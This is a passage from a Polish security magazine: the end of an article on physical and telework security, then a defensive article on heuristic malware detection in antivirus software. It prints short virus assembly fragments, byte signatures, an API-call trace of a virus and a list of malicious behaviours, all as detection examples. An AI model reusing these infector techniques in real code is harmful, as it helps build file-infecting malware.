• utrata urządzenia przenośnego:
zgubienie lub kradzież (przy-
padkowa – złodziej nie krad-
nie urządzenia dla danych, któ-
re się na nim znajdują, a dla sa-
mego urządzenia lub świadoma
– dla złodzieja istotne są dane,
które znajdują się w pamięci
urządzenia). Przenośne urzą-
dzenia komputerowe powinny
być wyposażone w fizyczne za-
bezpieczenia przed kradzieżą.
Urządzenia przenośne oraz nośni-
ki danych zabierane z siedziby fir-
my nie powinny być pozostawiane
bez nadzoru w miejscach publicz-
nych. Zaleca się przewożenie kom-
puterów przenośnych jako bagażu
podręcznego i, jeśli jest to możli-
we, maskowanie ich podczas po-
dróży (charakterystyczne torby na
laptopy nie są najlepszym rozwią-
zaniem). Nie należy pozostawiać
dokumentów, nośników danych
i sprzętu w hotelach ani w samocho-
dzie bez kontroli.
Informacje przechowywane na
urządzeniach przenośnych lub kom-
puterowych nośnikach danych mogą
ulec uszkodzeniu na przykład w wy-
niku działania silnego pola elektro-
magnetycznego – należy przestrze-
gać zaleceń producentów dotyczą-
cych ochrony sprzętu. Wskazane
jest, aby sprzęt wykorzystywany po-
za siedzibą firmy był ubezpieczony.
Zastosowane środki bezpie-
czeństwa należy dobrać do osza-
cowanego ryzyka utraty danych wy-
korzystywanych podczas pracy po-
za siedzibą.
Jeszcze innym regulacjom zwią-
zanym z bezpieczeństwem powin-
na podlegać, coraz popularniej-
sza, praca na odległość (telepraca).
Pracownik wykonuje swoją pracę
w pewnym stałym miejscu znajdu-
jącym się poza siedzibą firmy. Miej-
sce to powinno być w odpowiedni
sposób chronione: zarówno przed
kradzieżą sprzętu i informacji, nie-
uprawnionym ujawnieniem informa-
cji, jak również nieuprawnionym do-
stępem do wewnętrznych systemów
instytucji czy niewłaściwym wyko-
rzystaniem urządzeń.
Serwery – co im zagraża, jak się zabezpieczyć
Norma PN-ISO/IEC 17799 za-
leca, aby firma rozważyła stwo-
rzenie polityki i określiła standardy
dotyczące kontroli czynności wyko-
nywanych w ramach pracy na odle-
głość. Upoważnienie pozwalające
na taką pracę powinno zostać wy-
dane tylko i wyłącznie, kiedy zapew-
niona została właściwa organizacja,
wdrożono zabezpieczenia oraz za-
pewniono ich zgodność z polityką
bezpieczeństwa firmy. Norma zale-
ca rozważenie między innymi nastę-
pujących zagadnień:
• rzeczywiste bezpieczeństwo fi-
zyczne miejsca pracy; należy
wziąć pod uwagę zabezpiecze-
nia fizyczne budynku i lokalnego
środowiska,
• wymagania bezpieczeństwa doty-
czące łączności, biorąc pod uwa-
gę potrzebę zdalnego dostępu do
wewnętrznych systemów instytu-
cji, wrażliwość informacji, której
dostęp będzie dotyczył, pomijając
natomiast w rozważaniach łącze
telekomunikacyjne i wrażliwość
wewnętrznego systemu,
• zagrożenia nieuprawnionego do-
stępu do informacji lub zasobów
ze strony innych osób znajdują-
cych się w pobliżu, na przykład
rodziny i przyjaciół. Określenie
zasad i wytycznych dotyczących
dostępu rodziny i gości do urzą-
dzeń i informacji,
• określenie dozwolonych prac,
godzin pracy, klasyfikacji infor-
macji, które mogą być w po-
siadaniu pracownika wykonują-
cego pracę na odległość oraz
określenie wewnętrznych syste-
mów, do których ma on upraw-
niony dostęp.
Urządzenia zdalnego dostępu – KVM
i RR to skrót od Keyboard Video Mo-
use i Remote Reset. Są to – w skró-
cie – urządzenia umożliwiające zdal-
ny dostęp do konsoli, pozwalające
na zdalne zarządzanie komputerem.
Istnieją różnego rodzaju urządzenia
– od wdzwanianych telefonicznie po
urządzenia IP. Komuś, kto nie ma po-
jęcia, jak wygląda praca administrato-
ra, może się wydawać, że takie urzą-
dzenie to luksus, ponieważ admin za-
wsze może podejść do komputera.
Problem zaczyna się jednak w nocy.
Takie urządzenie zwiększa komfort
i daje realne korzyści. Administrator
może być bowiem w czasie gotowości
do pracy, a nie w pracy (patrz Kodeks
Pracy). Dodatkowo, jeżeli masz ma-
ły zespół fachowców, głupio będzie
się tłumaczyć klientom, że serwer nie
działa, ponieważ administrator jedzie
z drugiego końca miasta, aby coś zre-
startować. W związku z tym warto za-
wczasu zaopatrzyć się przynajmniej
w urządzenie Remote Reset, które
pozwoli na wykonanie operacji zdal-
nego restartu maszyny (gdy to jest
naprawdę koniecznie). KVM pozwoli
zaś na dostęp do konsoli i pracę np.
w trybie awaryjnym przed ponownym
wystartowaniem systemu.
Podsumowanie
Artykuł został oparty na wytycz-
nych przedstawionych w normie
PN-ISO/IEC 17799:2003 Technika
informatyczna. Praktyczne zasady
zarządzania bezpieczeństwem in-
formacji.
Zachęcam do zapoznania się
z normą wydaną przez Polski Komi-
tet Normalizacyjny i samodzielnego
opracowania polityki bezpieczeń-
stwa uwzględniającej warunki za-
pewnienia bezpieczeństwa fizycz-
nego i środowiskowego. W każdej
chwili można skorzystać również
z usług firm specjalizujących się
w zarządzaniu bezpieczeństwem
informacji. l
O autorze
Pasją autora są nowe technologie
i języki programowania.
Kontakt z autorem:
spinacz24@gmail.com
R
E
K
L
A
M
A
www.hakin9.org
hakin9 Nr 01/2008
58
Obrona
J
est to obecnie najpopularniejsza metoda
detekcji, choć ma istotną wadę, mianowi-
cie jest metodą reakcyjną. Ponieważ In-
ternet umożliwia błyskawiczne rozprzestrze-
nianie się niebezpieczeństwa, jest ona często
niewystarczająca.
Metoda oparta na wzorcach zagrożeń cha-
rakteryzuje się niebezpieczną luką w czasie
pomiędzy pojawieniem się zagrożenia a udo-
stępnieniem wzorca je wykrywającego. Wzo-
rzec jest przygotowywany przez specjalistów
z firm antywirusowych, którzy muszą otrzymać
nową próbkę, następnie przeanalizować ją
i przygotować sygnaturę, która będzie zagroże-
nie w sposób jednoznaczny identyfikować, nie
powodując przy tym fałszywych alarmów (Ry-
sunek 1.). Alternatywą dla ręcznego wybierania
wzorców jest wykorzystanie automatycznie ge-
nerowanych sum kontrolnych, ale są one wraż-
liwe nawet na drobne modyfikacje i stosowa-
nie ich szybko prowadzi do nadmiernego roz-
rostu baz.
Rozwiązaniem tego problemu są zdoby-
wające coraz większą popularność mechani-
zmy prewencyjne oparte na klasyfikacji heu-
rystycznej. Heurystyka (gr. heurisko – znaleźć)
to umiejętność odkrywania nowych faktów
i związków pomiędzy faktami poprzez umiejęt-
ne postawienie hipotez. Algorytmy heurystycz-
ne na podstawie wiedzy o cechach istniejących
niebezpieczeństw są w stanie przeanalizować
skanowany obiekt i stwierdzić, czy można go
zaklasyfikować jako niebezpieczny.
Uogólnione wzorce
Metody wykrywania nieznanych wirusów by-
ły implementowane w programach antywiru-
sowych od początku ich istnienia. Najprost-
Heurystyka w programach
antywirusowych
Jakub Dębski
stopień trudności
Istnieją dwie główne metody wykrywania złośliwego
oprogramowania – oparte na wzorcach zagrożeń i na analizie
heurystycznej. Pierwszy typ zapewnia stuprocentową
wykrywalność zagrożeń, które są znane, jednak wymaga ciągłej
aktualizacji baz sygnatur.
Z artykułu dowiesz się
• czym jest heurystyka w programach antywiruso-
wych,
• jakie są rodzaje wykorzystywanych heurystyk,
• przed jakimi problemami stoją twórcy heury-
styk.
Co powinieneś wiedzieć
• powinieneś znać podstawy asemblera,
• powinieneś mieć ogólne pojęcie o budowie
systemów operacyjnych,
• powinieneś znać terminologię związaną z nie-
bezpiecznym oprogramowaniem.
Heurystyka w programach antywirusowych
hakin9 Nr 01/2008
www.hakin9.org
59
szą metodą rozpoznawania no-
wych wersji wirusów są uogólnione
wzorce. Wzorzec (scan-string, pat-
tern) jest ciągiem bajtów wyekstra-
howanym z wirusa, który w sposób
jednoznaczny go identyfikuje. Ma-
jąc wzorzec wirusa możemy zasto-
sować jeden z licznych algorytmów
dopasowujących, w celu znalezie-
nia go w badanym pliku. Wzorzec
musi spełniać kilka wymagań, aby
można go było zastosować do iden-
tyfikacji zagrożenia:
• powinien być fragmentem cha-
rakterystycznym dla wirusa (nie
może występować w czystych
plikach),
• nie może być zbyt krótki (mógłby
powodować fałszywe alarmy),
• nie może być zbyt długi (dopa-
sowanie go byłoby długotrwałe,
a zajętość pamięci znaczna przy
licznej bazie zagrożeń).
Przyjrzyjmy się fragmentowi wirusa
asemblerowego, który spełnia wy-
magania wzorca (Listing 1).
Powyższy fragment jest cha-
rakterystyczny, ponieważ poszu-
kuje pod wyliczanym adresem sło-
wa KERN, co nie powinno wystą-
pić w pliku czystym. Po lewej stro-
nie znajdują się bajty reprezentu-
jące instrukcje, których ciąg może
stanowić wzorzec służący do wy-
krycia wirusa.
Ponieważ wirus ten uzyskuje do-
stęp do własnych danych techni-
ką delta offset (tu względem reje-
stru ebp), w innych wersjach wirusa,
po wprowadzeniu do niego niewiel-
kiej zmiany, adresy mogą się zmie-
nić. Aby uogólnić ten wzorzec na in-
ne wersje, możemy zastąpić część
bajtów znakiem zastępczym odpo-
wiadającym podczas dopasowywa-
nia za dowolny bajt (Listing 2).
W ostatniej linii mamy skok wa-
runkowy, którego adres docelowy
jest offsetem względem aktualnej
instrukcji. Po dodaniu do wirusa do-
datkowych rozkazów offset ten może
się zmienić, więc w miejsce tych baj-
tów możemy wstawić znaki zastęp-
cze lub całkiem je wyciąć, ponieważ
znajdują się na końcu scan-stringa.
Dzięki powyższym zabiegom scan-
string będzie potrafił wykryć zarów-
no nowe wersje tego wirusa, jak też
wszystkie wirusy, które zawierają
opisany wzorzec. Ponieważ autorzy
niebezpiecznych programów często
wykorzystują fragmenty istniejące-
go złośliwego kodu, możliwe jest wy-
branie wzorca wychwytującego zu-
pełnie nowe zagrożenia.
Zbytnie skracanie i uogólnianie
scan-stringów może powodować
fałszywe alarmy. Rozwiązaniem
tego problemu jest stosowanie kil-
ku krótkich wzorców, które mu-
szą znajdować się w badanym pli-
ku, aby stwierdzić obecność wiru-
sa. Od tego podejścia już tylko krok
do heurystyki statycznej, czyli naj-
popularniejszej metody heurystycz-
nego wykrywania wirusów.
Heurystyka
Heurystykę w programach antywi-
rusowych można podzielić na kilka
kategorii w zależności od sposo-
bu działania. Najczęstszym spoty-
kanym podziałem jest wyszczegól-
nienie heurystyki statycznej i dy-
namicznej. Do metod heurystycz-
nych zalicza się również analizę
behawioralną oraz sprawdzanie
integralności. Przypatrzmy się po-
szczególnym typom i przeanalizuj-
my ich wady i zalety.
Heurystyka statyczna
Heurystyka statyczna opiera się na
analizie obiektu w postaci, w jakiej
zostanie on przekazany do analizy;
na traktowaniu obiektu jako ciągu
bajtów. Analiza taka bazuje na dys-
kryminatorach zebranych z istnieją-
cych niebezpiecznych programów,
czyli na cechach odróżniających nie-
bezpieczne programy od czystych
plików. Aby analizowany obiekt zo-
stał uznany za podejrzany, musi za-
wierać określoną liczbę dyskrymina-
torów. Dyskryminatory najczęściej
są ciągami bajtów, ale mogą być
związane np. z nietypowym wyglą-
dem pliku wykonywalnego.
Rozpatrzmy przykład wykrywa-
nia typowego, napisanego w asem-
blerze wirusa za pomocą heurysty-
ki statycznej. Typowy wirus infekuje
plik wykonywalny poprzez dołącze-
nie do niego swojego kodu, następ-
nie przeszukuje dysk w celu znale-
Listing 1.
Fragment wirusa asemblerowego nadający się na wzorzec
8BBDAA174000
mov
edi
,[
ebp
][
004017AA
]
8B7778
mov
esi
,
[
edi
][
78
]
03B59E174000
add
esi
,[
ebp
][
0040179E
]
8B7E0C
mov
edi
,[
esi
][
0C
]
03BD9E174000
add
edi
,
[
ebp
][
0040179E
]
813F4B45524E
cmp
d
,
[
edi
]
,
04E52454B
;"NREK"
0F857C000000
jne
.
001013F35
Rysunek 1.
Wykrywanie reakcyjne (Reactive) kontra heurystyczne
(Proactive)
������
��������
������
��������
��������
��������
��������
��������
��������
������������
���������������
���������
�������
����������������
�����������
�
�
�����������������������
�������������������
�������������������
�������������������
�������������������
hakin9 Nr 01/2008
www.hakin9.org
Obrona
60
zienia innych plików podatnych na
infekcję. Aby wykryć wirusa przy
użyciu heurystyki statycznej, musi-
my zgromadzić kolekcję mikrowzor-
ców, których występowanie będzie
świadczyło o podejrzanym dzia-
łaniu. Stworzenie użytecznej ba-
zy mikrowzorców wymaga wiedzy
na temat zasady działania wirusów
i technik w nich stosowanych.
Mikrowzorcem może być przy-
kładowo pobranie offsetu delta,
które można znaleźć w większo-
ści wirusów plikowych. Offset delta
pobierany jest przez wirusa w celu
ustalenia adresu początku samego
siebie. Jest on wirusowi potrzeb-
ny, jeżeli chce w prosty sposób ko-
rzystać z danych, które są zawarte
w obszarze wirusa. Popularną me-
todą ustalenia offsetu delta jest se-
kwencja rozkazów:
E800000000 call $+5
5D pop ebp
ED sub ebp, ????????
co przekłada się na mikrowzorzec
E8000000005DED
.
Występowanie tego mikrowzorca
może sugerować, że ciąg bajtów jest
kodem, który został dopisany do pli-
ku wykonywalnego. Innym przykła-
dem mikrowzorca może być spraw-
dzanie formatu pliku PE32 przed in-
fekcją lub podczas poszukiwania
w pamięci adresów funkcji API, za
pomocą porównań z charaktery-
stycznymi oznaczeniami MZ i PE.
Jego adres znajduje się pod offse-
tem 3C względem MZ (Listing 3).
W tym przykładzie za uogólniony
scan-string może służyć ciąg bajtów
4D5A75*8B*3C*504575,
gdzie * to 1-10
dowolnych znaków. Innymi mikrow-
zorcami infektorów plików mogą być
nazwy funkcji API pojawiające się
nie w sekcji importów, teksty *.exe,
„*.*”, będące specyfikacją dla wyszu-
kiwania plików do zarażenia lub war-
tości CRC32 policzone z nazw API
(wiele wirusów, szczególnie wzoro-
wanych na napisanych przez grupę
29A, korzystało z procedury wyszu-
kiwania adresów API bazującej na
sumie kontrolnej nazwy).
W przypadku złośliwych progra-
mów pisanych w językach wysokie-
go poziomu podejrzane może być
występowanie tekstów określają-
cych klucze rejestru odpowiedzialne
za autostart aplikacji w systemie (np.
SOFTWARE\Microsoft\Windows\
CurrentVersion\Run), fragmenty, z któ-
rych składane są maile (np. MA-
IL FROM:) czy adresy blokowanych
stron WWW (np. windowsupda-
te.microsoft.com). Wykrywanie heu-
rystyczne niebezpiecznego opro-
gramowania tworzonego w języ-
kach wysokiego poziomu jest jednak
znacznie bardziej skomplikowane niż
wykrycie kodu asemblerowego.
W celu zwiększenia jakości kla-
syfikacji przy użyciu heurystyki sta-
tycznej można połączyć mikrow-
zorce z nietypowym wyglądem pli-
ku spowodowanym modyfikacjami
przeprowadzonymi podczas infek-
cji. Przykładowo za nietypowe moż-
na uznać sytuacje, gdy:
• punkt wejścia do programu (Entry-
Point) wskazuje na ostatnią sek-
cję, która nie jest sekcją kodu (wi-
rus dopisał się do ostatniej sekcji),
• entryPoint wskazuje na wnętrze
nagłówka pliku PE (małe wirusy
platform Win9x umieszczały się
w nagłówku pliku),
• sekcja kodu posiada oprócz atry-
butu wykonywalne, także odczyt
i zapis (częste w przypadku wi-
rusów polimorficznych),
• sekcja relokacji lub sekcja zasobów
jest większa, niż być powinna.
Utrudnieniem techniki wykrywania
wirusów według nietypowego wy-
glądu stały się popularne ostatnio
kompresory (np. UPX) i protekto-
ry (np. Asprotect) plików wykony-
walnych, które wprowadzają typo-
we dla wirusów modyfikacje. Moż-
liwe jest zidentyfikowanie protekto-
ra i zignorowanie go przy tego typu
detekcji, ale – szczególnie w przy-
padku protektorów o otwartych źró-
dłach – protektory są często mody-
fikowane i zidentyfikowanie wszyst-
kich ich wersji jest kłopotliwe. Z dru-
giej strony samo występowanie za-
bezpieczenia w pliku stanowi pierw-
szą oznakę, że autor programu ma
coś do ukrycia i jest to podejrzane.
Listing 2.
Istotne informacje z fragmentu wirusa asemblerowego
8BBD????????
mov
edi
,[
ebp
][
????????
]
8B7778
mov
esi
,[
edi
][
78
]
03B5????????
add
esi
,[
ebp
][
????????
]
8B7E0C
mov
edi
,[
esi
][
0C
]
03BD????????
add
edi
,[
ebp
][
????????
]
813F4B45524E
cmp
d
,[
edi
],
04E52454B
;"NREK"
0F85
jne
????????
Rysunek 2.
Epidemia robaka Bagle.AS. (Źródło: www.virus-radar.com)
���
���
���
���
���
���
���
���
���
�
����
������
�
����
����
����
����
����
����
����
����
����
�����
�����
�����
�����
�����
��
���
��
���
��
���
��
���
��
���
�����
�������������������
Heurystyka w programach antywirusowych
hakin9 Nr 01/2008
www.hakin9.org
61
Zaletą heurystyki statycznej jest
duża szybkość działania – tym więk-
sza, że analizowane obszary zwykle
nie są duże i można w całości wczy-
tać je do pamięci. Jej wadą jest ogra-
niczone pole analizy umożliwiają-
ce wykrycie jedynie tych zagrożeń,
które posiadają często występujące
cechy. Heurystyka taka potrafi prze-
analizować jedynie kod, który nie jest
zaszyfrowany, ale po uzyskaniu po-
staci zdeszyfrowanej (np. za pomo-
cą emulacji) można ją przekazać po-
nownie do skanowania przy użyciu
heurystyki statycznej.
Po znalezieniu w analizowa-
nym obiekcie wystarczającej licz-
by charakterystycznych cech może-
my stwierdzić, że obiekt jest niebez-
pieczny. Heurystyka statyczna dla in-
nych rodzajów wirusów, na przykład
skryptowych lub makrowirusów, two-
rzona jest w sposób analogiczny.
Heurystyka dynamiczna
Heurystyką dynamiczną nazywa
się analizę przeprowadzaną pod-
czas działania podejrzanego pro-
gramu, dzięki czemu możliwe jest
poznanie zachowania obiektu lub
uzyskanie postaci obiektu dającej
więcej informacji. Zwykle taką ana-
lizę przeprowadza się podczas uru-
chomienia podejrzanego progra-
mu w środowisku bezpiecznym,
za pomocą emulatora procesora
i systemu operacyjnego. Środowi-
sko takie nazywane jest piaskow-
nicą (ang. sandbox). Program
w niej uruchomiony – niczym dziec-
ko znajdujące się w piaskownicy –
nie może popsuć niczego, co znaj-
duje się poza nią, a jego działania
można obserwować i analizować.
Do heurystyki dynamicznej można
zaliczyć również analizę behawio-
ralną przeprowadzaną na działa-
jącym systemie, o której więcej bę-
dzie w dalszej części tekstu.
Emulatory w programach anty-
wirusowych początkowo tworzone
były w celu odszyfrowania części
zaszyfrowanej wirusów polimor-
ficznych. Wykonywały polimorficz-
ny kod wirusa do czasu, aż zakoń-
czył on deszyfrację, co najczęściej
wiązało się z wywołaniem funkcji
systemowej. Następnie rozszerzo-
no ich funkcjonalność o możliwość
analizy behawioralnej, więc wywo-
łanie funkcji systemowej nie kończy
działania, ale jest również emulo-
wane zgodnie z zachowaniem rze-
czywistego systemu operacyjnego.
Wykonując program w bezpiecz-
nym środowisku można spraw-
dzić, jakie akcje próbuje on podjąć
i stwierdzić w ten sposób, czy sta-
nowi potencjalne zagrożenie.
Innymi podejrzanymi zachowa-
niami, które może wykryć heurysty-
ka dynamiczna, są na przykład: li-
niowa modyfikacja obszaru pamię-
ci, a potem skok w zmodyfikowany
obszar (deszyfracja, często stoso-
wana w wirusach polimorficznych),
wykonywanie pustych pętli, któ-
re nie modyfikują stanu rejestrów
procesora ani pamięci (sztucz-
ka utrudniająca analizę programu
i spowalniająca emulację), czy wy-
konywanie kodu w obszarze sto-
su. Wszystkie te cechy świadczą
o tym, że wykonywany program nie
jest programem normalnym.
Wśród twórców wirusów istnie-
je przekonanie, że skomplikowanie
kodu polimorficznego utrudnia zna-
lezienie wirusa w pliku. Nic bardziej
mylnego. Sam kod polimorficzny
i metamorficzny jest relatywnie pro-
sty do wykrycia, gdyż jest całkowi-
cie różny od kodu wygenerowanego
przez kompilator, a nawet od kodu
asemblerowego stworzonego przez
człowieka. Generatory polimorficzne
tworzą znaczną liczbę instrukcji lub
zestawów instrukcji nic nierobiących,
tzw. śmieci. Kod ten, całkowicie nie-
zoptymalizowany, daje się za pomo-
cą mniej lub bardziej skomplikowa-
nych metod zidentyfikować i potrak-
tować jako podejrzane zachowanie.
Ponieważ protektory plików wykony-
walnych również zawierają polimor-
Listing 3.
Fragment wirusa infekującego pliki. Sprawdzenie nagłówka
pliku
66813A4D5A
cmp
w
,[
edx
],
05A4D
;"ZM"
75F8
jne
.
00040106E
8BCA
mov
ecx
,
edx
8B493C
mov
ecx
,[
ecx
][
3C
]
03CA
add
ecx
,
edx
3BC8
cmp
ecx
,
eax
7FED
jg
.
00040106E
6681395045
cmp
w
,[
ecx
],
04550
;"EP"
75E6
jne
.
00040106E
Rysunek 3.
Fragmenty dwóch wersji robaka Agobot
hakin9 Nr 01/2008
www.hakin9.org
Obrona
62
ficzne deszyfratory, ich nowe wersje
mogą być fałszywie identyfikowane
powyższymi metodami.
Stosowanie emulacji w proce-
sie analizy ma kilka istotnych minu-
sów. Główną wadą jest relatywnie
niewielka szybkość działania same-
go emulatora, a dodatkowe spraw-
dzenia wykonywane podczas ana-
lizy heurystycznej jeszcze emula-
cję spowalniają. Duże znaczenie
dla szybkości działania ma też pro-
blem stopu, czyli stwierdzenie, kie-
dy emulacja powinna się zakończyć.
Choć powstało wiele metod przy-
spieszających działanie emulatorów
i wciąż powstają nowe (np. wyko-
rzystanie wirtualizacji procesorów),
istnieje kilka barier nie do pokona-
nia. Najtrudniejszą z nich jest niede-
terministyczność wykonywania ko-
du. Dla niebezpiecznego programu
nie jest problemem, jeżeli zadziała
raz na kilka uruchomień. Może być
to spowodowane wywołaniem funk-
cji zwracającej losową wartość lub
warunkami logicznymi, które środo-
wisko musi spełnić. Emulator dzia-
łający w sposób deterministyczny
nie jest w stanie obsłużyć tych sytu-
acji, ponieważ emulacja podąża jed-
ną ścieżką, nie badając wszystkich
możliwych rozgałęzień kodu. Zatem
emulator może pójść ścieżką, któ-
ra kończy działanie niebezpieczne-
go programu, przez co nie będzie
można stwierdzić podejrzanego za-
chowania. Autorzy niebezpiecznego
oprogramowania starają się również
wykrywać uruchomienie w sztucz-
nym środowisku i reagować na nie,
ukrywając swoją obecność. Innym
przykładem niedeterministyczności
może być odmienne działanie pro-
gramu w różnych wersjach systemu
operacyjnego. Przed twórcą emula-
tora pozostaje problem wyboru, któ-
rą wersję emulować.
Analiza behawioralna
Każdy proces działający w trybie
użytkownika musi komunikować się
z systemem operacyjnym za pomo-
cą udostępnionego interfejsu API.
W trybie tym pracują wszystkie stan-
dardowe aplikacje, w tym większość
niebezpiecznych programów, po-
nieważ nie muszą do działania uzy-
skiwać nadzwyczajnych uprawnień
w systemie. Monitorując wywoła-
nia funkcji systemowych jesteśmy
w stanie uzyskać dokładne informa-
cje na temat zachowania analizowa-
nego programu. Monitorowanie mo-
że odbywać się albo podczas emu-
lacji w środowisku bezpiecznym, al-
bo w działającym systemie. Monito-
rowanie działającego systemu, mi-
mo jego spowolnienia, zyskuje coraz
większą popularność, ponieważ jest
w stanie wykryć zagrożenia, którym
emulacja nie jest w stanie sprostać.
Zaletą analizy behawioralnej jest
przeniesienie klasyfikacji na znacz-
nie wyższy poziom abstrakcji. Nie
operujemy w tym przypadku na po-
jedynczych instrukcjach kodu ma-
szynowego, ale w domenie opisanej
przez zachowania. Unikamy w ten
sposób problemów wynikających
z różnic w kodzie, które szczególnie
widoczne są w przypadku progra-
mów wygenerowanych przez kom-
pilatory języków wysokiego pozio-
mu (Rysunek 3). Co więcej, zmiany
wprowadzane w kolejnych wersjach
niebezpiecznego oprogramowania
zwykle w niewielki sposób zmie-
niają jego zachowanie, gdyż auto-
rzy zwiększają, co najwyżej, funk-
cjonalność programu.
Przykładowo, wykorzystując emu-
lator możemy stwierdzić, że program
wykonuje podejrzaną sekwencję wy-
wołań systemowych i określić obiekt
jako nowego wirusa lub jako odmia-
nę istniejącego. Większość wirusów
działających pod Windows na począt-
ku działania pobiera z systemu adresy
funkcji, które będą wykorzystywane.
Zakładając, że adres 0x77e60000 jest
adresem biblioteki KERNEL32.DLL
w pamięci procesu, pobieranie listy
wygląda następująco (wynik progra-
mu TraceApi na wirusie Win32.Miam).
Patrz Listing 4.
Pobranie adresów wykorzysty-
wanych funkcji API jest dla wirusa
niezbędne w sytuacji, gdy chce on
skorzystać z funkcji systemowych,
które nie znajdują się w Import Ad-
dress Table infekowanego pliku. Se-
kwencje takie można znaleźć w wi-
rusach asemblerowych i takie za-
chowanie świadczy o działaniu dołą-
czonego do programu wirusa.
Oczywiście heurystyczna klasy-
fikacja behawioralna może dotyczyć
wszystkich czynności, które wykonu-
je analizowany program, a które mo-
gą być niebezpieczne. Najczęściej
monitorowanie behawioralne doty-
czy typowych działań niebezpiecz-
nych programów, jakimi są:
• modyfikacja plików wykonywal-
nych,
• pobieranie i uruchamianie plików
z Internetu,
• wysyłanie listów za pomocą wła-
snego silnika SMTP,
• modyfikacja rejestru,
• modyfikacja plików systemowych,
• zabijanie procesów (np. progra-
mów antywirusowych),
Listing 4.
Początek logu programu TraceApi na wirusie Win32.Miam
GetProcAddress
(
77e60000
,
GetModuleHandleA
)
GetProcAddress
(
77e60000
,
GetCurrentDirectoryA
)
GetProcAddress
(
77e60000
,
FindFirstFileA
)
GetProcAddress
(
77e60000
,
FindNextFileA
)
GetProcAddress
(
77e60000
,
CreateFileA
)
GetProcAddress
(
77e60000
,
GetFileSize
)
GetProcAddress
(
77e60000
,
LocalAlloc
)
GetProcAddress
(
77e60000
,
ReadFile
)
GetProcAddress
(
77e60000
,
SetFilePointer
)
GetProcAddress
(
77e60000
,
WriteFile
)
GetProcAddress
(
77e60000
,
CloseHandle
)
GetProcAddress
(
77e60000
,
LocalFree
)
GetProcAddress
(
77e60000
,
GetLocalTime
)
GetProcAddress
(
77e60000
,
SetCurrentDirectoryA
)
GetProcAddress
(
77e60000
,
GetWindowsDirectoryA
)
GetProcAddress
(
77e60000
,
GetSystemDirectoryA
)
GetModuleHandleA
(
User32
.
dll
)
Heurystyka w programach antywirusowych
hakin9 Nr 01/2008
www.hakin9.org
63
• modyfikacja innych procesów,
• szpiegowanie klawiatury,
• nasłuchiwanie na otwartych por-
tach,
• praca programu bez widocznego
okna.
Problemem dla monitorów beha-
wioralnych mogą być aplikacje wie-
lowątkowe, ponieważ monitor mu-
si skupić się albo na czynnościach
wykonywanych globalnie przez ca-
łą aplikację, albo na czynnościach
wykonywanych przez poszczegól-
ne wątki. Większość współcześnie
tworzonego niebezpiecznego opro-
gramowania działa jednak w jed-
nym wątku.
Monitory behawioralne posiadają
zwykle rozbudowywaną bazę fałszy-
wych alarmów, gdyż niebezpieczne
programy pisane w językach wyso-
kiego poziomu charakteryzują się
pod względem zachowania wysokim
podobieństwem do plików czystych.
Przykładowo moduły autoaktualiza-
cji programów są pod względem za-
chowania bardzo podobne do popu-
larnych downloaderów.
Oprócz przeprowadzania skom-
plikowanej analizy zachowań, blo-
kowane mogą być wszystkie po-
tencjalnie niebezpieczne akcje, ta-
kie jak wstrzykiwanie kodu do in-
nych procesów i tworzenie w nich
zdalnych wątków czy automatycz-
ne uruchamianie makr MS Office.
Co więcej, niektóre programy anty-
wirusowe blokują wykonanie przez
użytkownika wszystkich skryptów
(.vbs, .bat, .cmd), traktując je jako
potencjalnie niebezpieczne.
Również monitorowanie dostępu
do rejestru staje się elementem pro-
gramów antywirusowych. Wymaga
jednak interaktywnego stwierdzenia,
czy dana modyfikacja była zamierzo-
na, czy nie, co jest kłopotliwe dla nie-
doświadczonego użytkownika.
Sprawdzanie
integralności
Najprostszym podejściem do heu-
rystycznego wykrywania obecno-
ści niebezpiecznego oprogramo-
wania jest zbadanie, czy określo-
ne obszary systemu (pliki, rejestr)
nie ulegają zmianie. Jeszcze kilka
lat temu nie było problemem mo-
nitorowanie zmian w plikach po-
przez sprawdzenie zapamiętanej
poprawnej sumy kontrolnej. Wraz
z upowszechnieniem Internetu
wzrosła liczba aplikacji, które au-
tomatycznie aktualizują się do naj-
nowszych wersji, modyfikując nie
tylko pliki danych, ale też pliki wy-
konywalne. Także sam system ope-
racyjny nie jest stały, ale modyfiko-
wany za pomocą ukazujących się
mniej lub bardziej regularnie łat.
Uwzględniając fakt, że baza sum
kontrolnych może również stać się
celem ataku, monitorowanie zmian
na podstawie sum kontrolnych jest
coraz rzadziej stosowane.
Sprawdzanie integralności dzia-
ła jednak w przypadku heurystycz-
nego wykrywania rootkitów, jak
czyni to System Virginity Verifier.
Analizuje on zmiany wprowadzone
w pamięci modułów systemowych
i porównuje je z poprawnymi war-
tościami odczytanymi z plików
(najlepiej podpisanych cyfrowo).
Jeżeli integralność modułów zo-
stanie naruszona, prawdopodobne
jest działanie rootkita, który zmo-
dyfikował system w celu ukrycia
w nim obiektów.
Integralność plików możemy
sprawdzić dzięki istnieniu coraz czę-
ściej stosowanych podpisów cyfro-
wych. Niektóre programy antywiru-
sowe nie potrafią przebić się przez
warstwy zabezpieczające plików wy-
konywalnych i wszystkie takie pli-
ki zgłaszają jako podejrzane. Jeżeli
jesteśmy twórcami oprogramowania
i chcemy zabezpieczyć program,
jednocześnie nie przyprawiając
użytkowników o palpitacje serca na
skutek fałszywego alarmu, program
taki powinniśmy podpisać. Firmy an-
tywirusowe będą dzięki temu mo-
gły zidentyfikować twórcę programu
i nie zgłaszać użytkownikowi zabez-
pieczenia jako podejrzanego.
Sprawdzanie integralności sta-
ło się jednym z podstawowych me-
chanizmów bezpieczeństwa w sys-
temie Windows Vista. Wspomnia-
ny mechanizm Kernel Patch Pro-
tection sprawdza, czy nie zostały
wprowadzone w systemie nielegal-
ne zmiany:
• modyfikowanie tablicy usług syste-
mowych (systfem service tables),
• modyfikowanie tablicy przerwań
(IDT),
• modyfikowanie tablicy globalnych
deskryptorów (GDT),
Rysunek 4.
Wizualizacja robaków InTheWild według podobieństwa
behawioralnego. Widzimy duże skupienia określające rodziny
hakin9 Nr 01/2008
www.hakin9.org
Obrona
64
• używanie w jądrze stosu, który nie
został przydzielony przez jądro,
• łatanie dowolnej części jądra.
Sprawą dyskusyjną jest, czy me-
chanizm ten rzeczywiście zwięk-
sza bezpieczeństwo systemu. Mo-
dyfikowanie systemu operacyjne-
go było od dawna stosowane przez
programy zabezpieczające, dzięki
czemu mogły one wykonać dodat-
kowe sprawdzenia, które uniemoż-
liwiał sam system. Przykładowo
działający w czasie rzeczywistym
system analizy zachowań musi
zintegrować się z systemem, być
bliżej systemu niż niebezpieczne
oprogramowanie, aby mógł je kon-
trolować. Istnienie Kernel Patch
